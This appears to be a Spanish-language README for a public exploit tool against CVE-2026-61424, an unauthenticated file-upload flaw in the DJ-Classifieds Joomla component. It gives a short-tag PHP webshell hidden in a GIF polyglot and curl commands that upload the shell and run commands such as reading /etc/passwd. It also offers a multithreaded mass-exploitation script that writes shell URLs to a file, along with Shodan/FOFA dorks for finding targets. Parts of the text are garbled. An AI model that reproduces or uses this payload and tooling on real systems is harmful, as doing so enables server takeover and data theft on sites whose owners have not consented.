
Componente DJ-Classifieds para Joomla: RCE por subida de archivos sin autenticación. Omisión de filtro de 3 cadenas mediante etiquetas cortas de PHP. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2
Carga arbitraria de archivos sin autenticación en DJ-Classifieds para Joomla. El endpoint de la tarea imageupload procesa las cargas de archivos sin autenticación y se basa en una lista negra de 3 cadenas (<?php, , ) que se elude trivialmente mediante las etiquetas cortas de apertura de PHP (). Combinado con un GIF políglota, el archivo cargado supera todas las comprobaciones de validación de imagen mientras contiene un webshell PHP totalmente funcional.
eval(base64<?=| Campo | Detalle |
|---|---|
| CVE | CVE-2026-61424 |
| Producto | DJ-Classifieds (extensión de Joomla de DJ-Extensions) |
| CVSS 4.0 | 10.0 (Crítico) |
| Tipo | CWE-434 — Carga de archivos sin restricciones |
| Descubierto | Phil Taylor / mySites.guru — 16 de julio de 2026 |
| Explotación | Confirmada en entornos reales antes de la divulgación |
| Estado | Versión |
|---|---|
| Vulnerable | 1.0 — 3.11.1 |
| Corregida | 3.11.2 (20 de julio de 2026) |
El método upload() en administrator/components/com_djclassifieds/lib/djupload.php está mapeado a la tarea imageupload sin comprobación de autenticación y sin validación de token CSRF.
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method
// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check
$name = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');
// ... writes file to tmp/djupload/<name>
El escáner de contenido solo bloquea tres cadenas literales:
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
die('Malicious file detected');
}
Esto bloquea <?php, eval( y base64 — pero no las etiquetas cortas de apertura de PHP:
<?=system($_GET['c']);?> ← 0/3 blocked strings → PASSES
Las etiquetas cortas de eco de PHP (<?=) están habilitadas por defecto desde PHP 5.4.
GIF89a válida + <?=system($_GET['c']);?>index.php?option=com_djclassifieds&task=imageupload con name=shell.gif.gif ✓ getimagesize() ✓ sin <?php/eval(/base64 ✓tmp/djupload/<shell>.gifhttps://target.com/tmp/djupload/shell.gif?c=id| Archivo | Función |
|---|---|
administrator/components/com_djclassifieds/lib/djupload.php | Método upload() — sin autenticación, filtro de 3 cadenas |
components/com_djclassifieds/controller.php | Enruta la tarea imageupload a upload() |
administrator/components/com_djclassifieds/djclassifieds.xml | Divulgación de la versión mediante la etiqueta <version> |
Sondas de escáner anónimo observadas en entornos reales antes de la divulgación:
POST /index.php?option=com_djclassifieds&task=imageupload
name=<random>.gif filename=<random>.gif
— no cookie, no session, no referer
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt
python cve_2026_61424.py -t target.com
python cve_2026_61424.py -f targets.txt -o shells.txt
| Flag | Descripción | Por defecto |
|---|---|---|
-t, --target | Host objetivo único | — |
-f, --file | Archivo con objetivos (uno por línea, comentarios #) | — |
-o, --output | Guarda las URLs de RCE en un archivo | — |
--threads | Hilos de trabajo para el modo masivo | 30 |
--no-cleanup | No eliminar el shell después del RCE | False |
--debug | Salida de depuración | False |
$ python cve_2026_61424.py -t target.com
Host : target.com
DJ-Classifieds: YES v3.11.1
Upload : YES
RCE : YES
Shell : https://target.com/tmp/djupload/img_abc123.gif
Output : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
Time : 2.1s
# Step 1 — Upload polyglot shell
curl -sk -X POST \
"https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
-H "Content-Type: image/gif" \
--data-binary @polyglot.gif
# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"
# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"
# DJ-Classifieds component
body="com_djclassifieds"
# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"
# Exposed djupload directory
body="Index of" && body="djupload"
# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"
JFactory::getUser() antes de upload()JSession::checkToken() en la tarea imageuploadjpg, jpeg, png, gif)Esta herramienta es solo para fines educativos y de pruebas de seguridad autorizadas. Úsala únicamente contra sistemas que poseas o para los que tengas permiso explícito de prueba. El autor no asume ninguna responsabilidad por el uso indebido o los daños.
| Recurso | Enlace |
|---|---|
| IONIX Threat Center | ionix.io/threat-center/cve-2026-61424 |
| Descubrimiento de mySites.guru | mysites.guru/blog/dj-classifieds-unauthenticated-file-upload |
| Comunicado de seguridad de DJ-Extensions | dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release |
| Registro de CVE.org | cve.org/CVERecord?id=CVE-2026-61424 |
| INCIBE-CERT | incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424 |
No afiliado con DJ-Extensions ni mySites.guru.